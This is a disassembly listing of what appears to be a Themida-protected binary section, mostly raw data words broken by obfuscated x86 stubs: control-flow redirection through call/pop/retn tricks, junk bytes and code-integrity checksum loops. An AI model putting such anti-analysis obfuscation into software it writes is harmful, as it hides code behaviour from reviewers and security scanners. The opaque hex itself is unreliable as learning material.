dd 0C9EAD3E1h, 0F01E183h, 2384h, 0A583F900h, 0FFFFFFFFh
dd 6870FFEh, 9000000h, 1425AD95h, 44958906h, 0FC5F4C4Ch
dd 0E9FBBF0Fh, 0
; ---------------------------------------------------------------------------
lea esi, [ebp+6186CB0h]
mov edi, ecx
clc
push 0
xor [ebp+6142185h], esi
call dword ptr [ebp+6141169h]
push 0
push ecx
call sub_597CE2
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_597CE2 proc near ; CODE XREF: Themida_:00597CDAp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 15h
inc ecx
push ecx
retn
sub_597CE2 endp
; ---------------------------------------------------------------------------
adc [ecx], bl
clc
mov di, 0EC3Ch
sub edi, 445228FCh
mov ecx, 0FD2h
mov [ebp+6142295h], ecx
and ecx, 0FFFFFFFCh
push 0
push esi
call sub_597D18
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_597D18 proc near ; CODE XREF: Themida_:00597D10p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_597D18 endp
; ---------------------------------------------------------------------------
xor bh, bh
mov edi, [ebp+614348Dh]
add bl, 98h
cld
mov [ebp+6140791h], edx
sub eax, eax
mov di, cx
mov edx, 0
mov [ebp+61406E9h], esi
loc_597D4A: ; CODE XREF: Themida_:00597D54j
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_597D4A
push 0
push eax
call sub_597D61
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_597D61 proc near ; CODE XREF: Themida_:00597D59p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_597D61 endp
; ---------------------------------------------------------------------------
xor bl, [esi]
mov eax, ds:893CC5EEh
mov ch, 71h
sbb [esi+eax], edx
movsx ebx, cx
jmp loc_597D92
; ---------------------------------------------------------------------------
db 0B9h, 59h, 83h
dd 56A42D83h, 0B3D25A05h
db 61h, 80h
; ---------------------------------------------------------------------------
loc_597D92: ; CODE XREF: Themida_:00597D80j
or eax, 88h
xor di, 69C5h
mov edx, [ebp+6143229h]
push 0
push edx
call sub_597DAD
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_597DAD proc near ; CODE XREF: Themida_:00597DA5p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_597DAD endp
; ---------------------------------------------------------------------------
db 1Eh, 72h, 14h
dd 0E1FEFB75h, 8B7107B7h, 1423A59Dh, 21958906h, 8B06142Ch
dd 14064D8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1704h, 0C3554500h, 0FCEF96B9h, 0E3D9D8Bh, 8B500614h
dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 7AC35040h, 0E2E81FB2h
dd 0F5C55923h, 1B6D8529h, 0BD830614h, 61429ADh, 7A840F00h
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 14042444h, 47000000h, 8B23C357h, 0B8DEh, 0E7810000h
dd 5109AFC0h, 4D798D8Dh, 6A0614h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1A0424h, 56460000h, 0EE2AE4C3h, 34EF1E78h
dd 2F6D9D01h, 0E1FF0614h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 18h, 5CC35141h, 0D3A80EE5h, 71BD83F5h, 61426h
dd 491840Fh, 0BD830000h, 6142671h, 9F840F01h, 6A000004h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h
dd 46000000h, 0B1B0C356h, 238E10E6h, 12E9h, 2F717200h
dd 0B1F4579Bh, 541512E2h, 0B93B8C39h, 830123CAh, 142671BDh
dd 860F0306h, 424h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Bh, 87C35040h, 2BDBCBC5h, 6049B627h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 9FC35646h, 739390B8h
dd 0B662425Bh, 0D98C66DEh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 17h, 56C35747h, 661323FCh, 805F53BBh, 9D8B04E1h
dd 61429F9h, 840FC90Ah, 122h, 1BE9BD0Bh, 858B0614h, 6141969h
dd 5E9h, 656E5F00h, 85330F07h, 6141B81h, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 1Bh, 8AC35040h, 0A0DB22D6h
dd 894BD4D5h, 1401D5BDh, 5F515006h, 6A240489h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
dd 0E94FC350h, 0D98B28E1h, 0FFBBF0Fh, 6AD8BFh, 9D89DF8Bh
dd 6140311h, 17D21B68h, 2E24BBE0h, 481074Ch, 731E424h
dd 52006A20h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h
dd 0C3524200h, 181D6DE3h, 32EA9240h, 0BD8B5161h, 6140575h
dd 0BC9BD8Bh, 95FF0614h, 61409ADh, 81D9BF0Fh, 0A29BE7E7h
dd 98858965h, 6A0617AAh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 15042444h, 41000000h, 2D2AC351h, 0CBF38166h
dd 59BD8BBBh, 0E9061429h, 231h, 13E85660h, 0A0000000h
dd 0D5E76A7Eh, 357D3501h, 0F96DA781h, 22344C1Dh, 5B5ABEC1h
dd 0A9E88166h, 858B61DDh, 617AA90h, 6840Fh, 9D890000h
dd 6142955h, 0EF18501h, 0C70614h, 18h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 44C35545h, 2BC52750h, 0DA8B9699h
dd 0AA94B58Bh, 95090617h, 61431D9h, 0B29858Bh, 6A0614h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 0EE78DEC3h, 0D15BD8Bh, 6890614h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 14h, 1AC35646h, 2CDB19BBh, 69858B4Bh
dd 6A061419h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 66C2C355h, 8878A87Dh, 55CE827Eh
dd 6A044689h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 17042444h, 42000000h, 426FC352h, 0BF0F89AEh, 0AE9FBh
dd 74B40000h, 699149EDh, 2E687471h, 50DA8B96h, 31BF6696h
dd 90B5FF59h, 890617AAh, 1408ED95h, 5BD8B06h, 0E806140Fh
dd 4, 1F03FFh, 50DE8B66h, 424448Bh, 5250008Bh, 3880Fh
dd 8B660000h, 52310FD9h, 89585A5Bh, 58042444h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0B8C35343h, 4820Fh
dd 0BF660000h, 858DF856h, 617AA98h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 0F4C35040h, 8968B5F0h, 0E0E82D3Fh
dd 7AA8BB66h, 0E9525050h, 0Eh, 8C334521h, 0E28FFF95h, 7474FD90h
dd 310F3F2Dh, 13E8h, 184C2100h, 652179h, 77106531h, 0E7F71204h
dd 3B3254D8h, 5A5F5B51h, 24048958h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 14h, 0C1C35646h, 26DF8166h, 188E0F50h
dd 0E8000000h, 0Dh, 0F5D83EC6h, 458A0A8h, 0A8AE93DDh, 4F09BB73h
dd 0FF5B5C0Bh, 1409AD95h, 85C76106h, 6142671h, 3, 7BEB8166h
dd 98BD8356h, 617AAh, 56840Fh, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0BD3197C3h
dd 6140791h, 4AE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1504h, 0C3524200h, 0BD8B20E8h, 61430F5h
dd 0EABB6652h, 0BD895FC4h, 614321Dh, 110C3050h, 1114400h
dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h
dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
dd 0DAADC357h, 0C2891519h, 9D8BC886h, 6140385h, 0C860Fh
dd 8C0F0000h, 6, 0A2A6DF81h, 0BD834102h, 6142671h, 10850F03h
dd 6A000004h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 18042444h, 47000000h, 0E995C357h, 5221432Fh, 0B959D8Bh
dd 835F0614h, 17AA98BDh, 840F0006h, 3DBh, 789B531h, 0B5FF0614h
dd 617AA98h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Dh, 0A3C35242h, 51DC005Ah, 4F1B4D5Dh, 0F595FF29h, 8006142Ah
dd 0B58BB5C7h, 617AA8Ch, 4AD9D29h, 6C70614h, 10001h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 42C35343h, 8B5096AEh
dd 0B7505FD8h, 6A960Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 160424h, 53430000h, 0D6D79FC3h, 0F8B70F60h, 1850Fh
dd 61FC0000h, 0AA98B5FFh, 6E90617h, 4C000000h, 0D204B7B8h
dd 3195FF0Dh, 8906140Bh, 140CB9BDh, 8CB58B06h, 0F0617AAh
dd 28Ah, 8BD3B700h, 1421D585h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 1BE959AFh
dd 0F31B5ABh, 481h, 8CBF6600h, 0C4868964h, 89000000h, 1409E99Dh
dd 29958B06h, 6A061432h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 18042444h, 41000000h, 2F3C351h, 8BE3EFA3h
dd 0C283F8FAh, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1504h, 0C3524200h, 0BF66F812h, 5089678Dh
dd 0A98D8920h, 50061414h, 16CB8166h, 858D5B41h, 617BE06h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 9DC35040h
dd 8A1779C6h, 0C55C7E3Ah, 0E1EF8150h, 5F7F14B0h, 0B88689h
dd 0BD890000h, 6142449h, 6A006Ah, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 8AB78EC3h
dd 0B06E30DAh, 0FE8B66F5h, 0AA98B5FFh, 8D290617h, 6140849h
dd 8DDB589h, 95FF0614h, 6140939h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Bh, 83C35545h, 42FA809Fh, 9607218Bh
dd 0EE960h, 0A3050000h, 3C4F0898h, 0D0196F50h, 4452B355h
dd 7E957h, 0D3D70000h, 7ADFAE80h, 50615948h, 0EE9h, 201B1000h
dd 385111C3h, 3FAE2010h, 96FC30B8h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Dh, 74C35141h, 547E02C4h, 371B55C8h
dd 698589C0h, 0FF06142Dh, 17AA98B5h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0FA8B6621h
dd 20F595FFh, 0BE90614h, 0CB000000h, 0A0F0D982h, 2348AB90h
dd 0BD830DFFh, 6140C21h, 78840F00h, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
dd 6456C353h, 0B92CC42Eh, 0A8FB0F25h, 1DA19D8Bh, 50960614h
dd 9E852h, 0DC100000h, 5291B0C1h, 0E9A1D80Ah, 8, 0AE3508AEh
dd 1188B17Ah, 0E8310F5Bh, 12h, 78947DFAh, 9C671254h, 77DB67E7h
dd 16C32F69h, 0E3BB9733h, 5F59458Fh, 0BF50585Ah, 74ED0EE0h
dd 0E9BD8B96h, 0FF061419h, 17AA98B5h, 0FF5F5306h, 1402B195h
dd 0DBD8B06h, 6606140Fh, 0FF52B0BFh, 17AA98B5h, 0DF816606h
dd 95FFD55Ch, 6143081h, 2ED19D8Bh, 0BD830614h, 61409F5h
dd 55840F02h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 15042444h, 42000000h, 0E55DC352h, 5559D8Bh
dd 858B0614h, 6142D01h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 15h, 7CC35242h, 959D894Bh, 0C6061404h, 85310000h
dd 6142AC1h, 244D85C7h, 614h, 0DE80000h, 1D000000h, 0F8A325E5h
dd 30F4982Fh, 504C078h, 10EDBD8Bh, 0E95F0614h, 0FFFFF3AFh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0CDC35242h
dd 0E3078900h, 5D8589BBh, 60061434h, 2FADB58Bh, 0EF810614h
dd 5096908Eh, 6AC18B61h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 0BF3C353h, 1299DFE3h
dd 34D5BD89h, 858D0614h, 6140F99h, 1D75BD8Bh, 66900614h
dd 5086ECBBh, 0F41B160h, 48Dh, 0D8B86600h, 8B906195h, 6A006AFEh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 3912C350h, 2B7DFB62h, 9DBF6671h, 6A006AA3h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h
dd 47000000h, 78D3C357h, 0D88BEF0Dh, 858D44B7h, 618FED5h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0A6C35343h
dd 0C4C2E751h, 0FE940h, 92640000h, 0AC85F146h, 0EBC85ADBh
dd 3050D749h, 5C08344h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 16h, 93C35646h, 0D381F613h, 7751DA8h, 462EA2BFh
dd 0F8BB5004h, 8938CE92h, 6A2404h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1D0424h, 52420000h, 0AEE76DC3h, 0EEEFB854h
dd 89781EABh, 141605B5h, 55BD8906h, 6A061405h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 9F714218h, 0CF3F5BEEh, 62D78166h, 6A006A8Dh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
dd 0CF6BC352h, 927C437h, 0FF7780D2h, 141A7195h, 61950906h
dd 8D06142Eh, 17A8FC8Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1A04h, 0C3564600h, 39B8B6Ch, 8B44D694h, 1414D1BDh
dd 6AD1FF06h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 15042444h, 41000000h, 9DD5C351h, 1B658531h, 0BD830614h
dd 61412CDh, 95850F01h, 0BF000000h, 416ECE56h, 8B60026Ah
dd 140869BDh, 0F7815706h, 5D572436h, 0E8906159h, 9, 38AEA3B3h
dd 67F3B147h, 5BF98B97h, 6E850h, 90B90000h, 0B2F4022Ah
dd 0DE8h, 5E8D7600h, 0E771BA81h, 3EC211A2h, 5F5FE0BCh
dd 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h
dd 0C3514100h, 3995FF8Bh, 6A061409h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0CB6EC352h
dd 0E4B90DCAh, 0BD29F005h, 6141D29h, 0CE4E9h, 0E800h, 815D0000h
dd 18FEDFEDh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1C04h, 0C3524200h, 55F9DB3h, 1DFC1899h, 0C9BD0951h
dd 6A061409h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 18042444h, 41000000h, 49D3C351h, 8D475F0Fh, 17962385h
dd 9E906h, 55650000h, 97D80076h, 509AE530h, 0D3EBBB66h
dd 6A240489h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 18042444h, 43000000h, 49ADC353h, 6427C051h, 35FFh, 0BD890000h
dd 61402F1h, 258964h, 9000000h, 1402F1BDh, 0F98B6606h
dd 236D85FFh, 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1D0424h, 53430000h, 50D0AEC3h, 900DABD3h, 0E95E2E5Eh
dd 6, 924D0AA9h, 0FF6AFAF5h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 16h, 33C35545h, 0B5FFB98Dh, 614220Dh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0E4C35141h
dd 0F8B25D74h, 0C9F42F84h, 80C0BF66h, 2B1995FFh, 42E90614h
dd 0F000001h, 0B0DEB7h, 70E6FA8Ah, 0E487EB80h, 0D1858971h
dd 906140Bh, 14347D8Dh, 0F613C06h, 12083h, 0FD98B00h, 12E8C8B6h
dd 17000000h, 0E9BE788Eh, 0B409F102h, 78708398h, 0E7DE9D80h
dd 5B95B7C9h, 6BAh, 0B9526000h, 5AD520BBh, 0C18B615Fh
dd 5A19D89h, 8D0F0614h, 0
; ---------------------------------------------------------------------------
shr eax, 4
jns loc_598C60
xor bh, 99h
loc_598C60: ; CODE XREF: Themida_:00598C57j
mul dx
and edi, 398E6777h
mov ebx, [ebp+614107Dh]
sub ecx, eax
mov di, bx
mov edx, ecx
mov bh, 0E8h
mov ebx, [ebp+614192Dh]
jmp loc_598D39
; ---------------------------------------------------------------------------
db 2Bh
dd 141B799Dh, 118A0F06h, 0F000000h, 0B8Bh, 6E900h, 2B240000h
dd 0B0E0F81Eh, 4C50858Bh, 0BD8B4755h, 6141B9Dh, 6007C083h
dd 68C0Fh, 8C0F0000h, 0
; ---------------------------------------------------------------------------
jnb loc_598CC4
mov bh, ah
loc_598CC4: ; CODE XREF: Themida_:00598CBCj
popa
add eax, 0
jmp loc_598CD7
; ---------------------------------------------------------------------------
db 0C5h, 0F1h, 4Ah
dd 688C385Dh
db 0F6h, 0E3h, 0D8h
; ---------------------------------------------------------------------------
loc_598CD7: ; CODE XREF: Themida_:00598CC8j
mov edi, [ebp+6141C3Dh]
cmp edx, eax
jnb loc_598CF3
mov ebx, [ebp+61415D9h]
jmp loc_598D39
; ---------------------------------------------------------------------------
mov bx, si
loc_598CF3: ; CODE XREF: Themida_:00598CDFj
mov ecx, [ebp-1]
movsx edi, si
and ecx, 1
jz loc_598D39
and dword ptr [ebp-1], 0FFFFFFFEh
push edi
jno loc_598D19
sub edi, [ebp+6141C99h]
loc_598D19: ; CODE XREF: Themida_:00598D0Dj
pop edi
mov [ebp+47554C50h], edx
pusha
jns loc_598D2D
mov [ebp+6140659h], ecx
loc_598D2D: ; CODE XREF: Themida_:00598D21j
and esi, 943413Eh
popa
jmp $+5
loc_598D39: ; CODE XREF: Themida_:00598C7Ej
; Themida_:00598CEBj ...
lea esi, [ebp+6187C82h]
push 0
push esi
call sub_598D4A
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_598D4A proc near ; CODE XREF: Themida_:00598D42p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_598D4A endp
; ---------------------------------------------------------------------------
dw 0CE7Fh
; ---------------------------------------------------------------------------
mov edi, [ebp+6140B85h]
push 0
push 0
push ecx
call sub_598D6F
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_598D6F proc near ; CODE XREF: Themida_:00598D67p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_598D6F endp
; ---------------------------------------------------------------------------
wait
rol byte ptr [ecx], 0FFh
xchg eax, ebp
imul edx, [ecx], 9D8B0614h
test [ebx], edx
adc al, 6
mov [ebp+6140BB5h], ecx
mov ecx, 0FDDh
jmp loc_598DA6
; ---------------------------------------------------------------------------
dw 96E8h
dd 81FDF7C8h
db 0DFh, 97h
; ---------------------------------------------------------------------------
loc_598DA6: ; CODE XREF: Themida_:00598D99j
and ecx, 0FFFFFFFCh
push 0
push ebx
call sub_598DB4
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_598DB4 proc near ; CODE XREF: Themida_:00598DACp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_598DB4 endp
; ---------------------------------------------------------------------------
daa
mov edi, 643D9775h
mov [ebp+61400B5h], ecx
cld
mov edi, eax
loc_598DD3: ; CODE XREF: Themida_:00598DF4j
mov eax, 0
and edi, [ebp+6140EE1h]
mov edx, 0
mov edi, [ebp+614112Dh]
jmp loc_598DF6
; ---------------------------------------------------------------------------
dw 7CA4h
dd 3DC2B63Eh
; ---------------------------------------------------------------------------
jnb short loc_598DD3
loc_598DF6: ; CODE XREF: Themida_:00598DE9j
; Themida_:00598E00j
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_598DF6
push 0
push edi
call sub_598E0D
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_598E0D proc near ; CODE XREF: Themida_:00598E05p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_598E0D endp
; ---------------------------------------------------------------------------
db 65h, 0DEh, 3Fh
dd 863A02E8h, 56006AF0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1604h, 0C3564600h, 8BA2E8DFh, 141495BDh, 880D06h, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 0E824A0C3h, 5CD9D8Bh, 958B0614h, 6143229h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 18C35242h, 0F215A2Ah
dd 38Ah, 0DF8B6600h, 21A98D89h, 8D8B0614h, 614064Dh, 12C18529h
dd 8B500614h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h
dd 3F5ABABBh, 0ADBD8356h, 61429h, 53840Fh, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 0F224B2C3h, 0E8BA7AA1h, 13h, 2AD2FB09h, 0ABFEE5CCh
dd 3F3AD4Eh, 0BDDD566Ch, 665F6A46h, 5B02CABFh, 0B8h, 8D1AB300h
dd 144D798Dh, 0D9858906h, 0FF061421h, 71BD83E1h, 61426h
dd 39F840Fh, 8D890000h, 6142C99h, 485CC8BFh, 71BD830Ch
dd 1061426h, 3A2840Fh, 95890000h, 6141AA9h, 2671BD83h
dd 0F030614h, 35986h, 0E8605700h, 9, 23F7845h, 253057F7h
dd 5A505A40h, 0BF605F61h, 186FA47Ch, 8BD98C66h, 142121BDh
dd 4E18006h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ah, 0C6C35343h, 408E2FBEh, 0BD093DE8h, 6141AC5h, 840FC90Ah
dd 128h, 1995BD2Bh, 858B0614h, 6141969h, 2B759589h, 85330614h
dd 6141B81h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 16h, 0D1C35545h, 0BD897B2Fh, 6140E59h, 89FE8B50h, 6A2404h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
dd 0ECD13BC3h, 0CE9F46Eh, 3D000000h, 3C1F26h, 5688406Eh
dd 0F0FEAC1h, 686h, 0CDBD0B00h, 6A061421h, 68E0F00h, 81000000h
dd 7935C5F7h, 6B5E6809h, 8B661BB6h, 243481DAh, 1BA968A1h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0DEC35646h
dd 7D2A0D75h, 0AD95FFC4h, 6A061409h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 3679C355h
dd 6608E914h, 3F512E1Bh, 5B5F5753h, 0AA988589h, 6A0617h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
dd 0C163A3C3h, 113154EDh, 0E9F38166h, 86E9F90Fh, 8B000001h
dd 1410A5BDh, 0BD38006h, 0AA90858Bh, 880F0617h, 6, 4525F781h
dd 0C7551Bh, 18h, 1DDBD89h, 0B58B0614h, 617AA94h, 1D099D8Bh
dd 0BF0F0614h, 29858BFAh, 6A06140Bh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 9C29C352h
dd 77E13E01h, 66D2949Fh, 0B589F98Bh, 6142EB5h, 8B660689h
dd 69858BFEh, 0BF061419h, 1F3CA8Ch, 6A044689h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
dd 9A56C353h, 0C5B3E09Dh, 0E03CBF96h, 66502B81h, 2396F88Bh
dd 14224DBDh, 0F9B70F06h, 0AA90B5FFh, 6A0617h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
dd 4B75E4C3h, 29F517DAh, 140F1985h, 0D28D6806h, 34813B2Ah
dd 35D17224h, 52006A3Bh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1D04h, 0C3524200h, 57E11EF2h, 0C80E45EAh, 8589065Fh
dd 6142171h, 49571FBFh, 98858D55h, 6A0617AAh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 5032C356h, 89F98B66h, 8B662404h, 0AD95FFF8h, 6A061409h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h
dd 42000000h, 97A5C352h, 0FD928577h, 5850F52h, 0BF000000h
dd 7F80A4E4h, 0BB66605Bh, 9D89CE54h, 61402ADh, 9D0B6161h
dd 6140471h, 2F19BD8Bh, 85C70614h, 6142671h, 3, 7801E781h
dd 0BD831195h, 617AA98h, 33840F00h, 89000000h, 1423B1BDh
dd 43E906h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 965822C3h, 38C0F78h, 80000000h
dd 305032F3h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h
dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h
dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
dd 8B00EBE7h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1704h, 0C3534300h, 0AB1EDC57h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 14h, 0D6C35141h, 0BD83FE8Ah, 6142671h
dd 0EF850F03h, 0BF000003h, 27E213B1h, 0AA98BD83h, 0F000617h
dd 3DD84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1404h, 0C3524200h, 178C0F18h, 0E9000000h, 12h, 118D7B58h
dd 0F3511AFBh, 0C48EEB87h, 4D6548Ch, 0B5FF95C3h, 617AA98h
dd 0E299D23h, 95FF0614h, 6142AF5h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h, 2DC35343h, 79B5896Ch, 8B061416h
dd 17AA8CB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1D04h, 0C3504000h, 20C59AAEh, 43C04Dh, 0BB66496Fh, 95895462h
dd 6140369h, 106C7h, 0F960001h, 888h, 2860F00h, 50000000h
dd 6696505Fh, 0FF8E9ABBh, 17AA98B5h, 0C1BB6606h, 3195FF87h
dd 6A06140Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1D042444h, 41000000h, 0BCC7C351h, 0B3DCADBh, 0CBDF4545h
dd 0AA8CB58Bh, 6A0617h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 150424h, 57470000h, 0F77ABC3h, 0E88h, 0B58B6000h, 61403C5h
dd 25659D09h, 8B610614h, 1421D585h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 863CE51Ah
dd 5DCF7112h, 8E9112Bh, 0D7000000h, 53219F2Ah, 89BA4B15h
dd 0C486h, 0CD9D8B00h, 8B061415h, 14322995h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 0F823B354h, 83DBB70Fh, 0BF0F04C2h, 205089FBh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0D7C35242h, 6F989057h
dd 0B70F1791h, 7DA5BFDAh, 858D6EC6h, 617BE06h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 16C35242h, 0F1DE1F38h
dd 0B88689h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 160424h, 50400000h, 29BDBEC3h, 1FB59D8Bh, 6A0614h, 0AA98B5FFh
dd 6A0617h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
dd 57470000h, 5940A5C3h, 3F5443F4h, 0FFF8F94Eh, 14093995h
dd 96F88A06h, 245357BBh, 5250503Fh, 310F5250h, 310F585Ah
dd 585AF98Bh, 79BD8996h, 0FF06140Eh, 17AA98B5h, 0F99D8B06h
dd 0FF061431h, 1420F595h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0F5047864h
dd 0C21BD83h, 0F000614h, 4284h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh
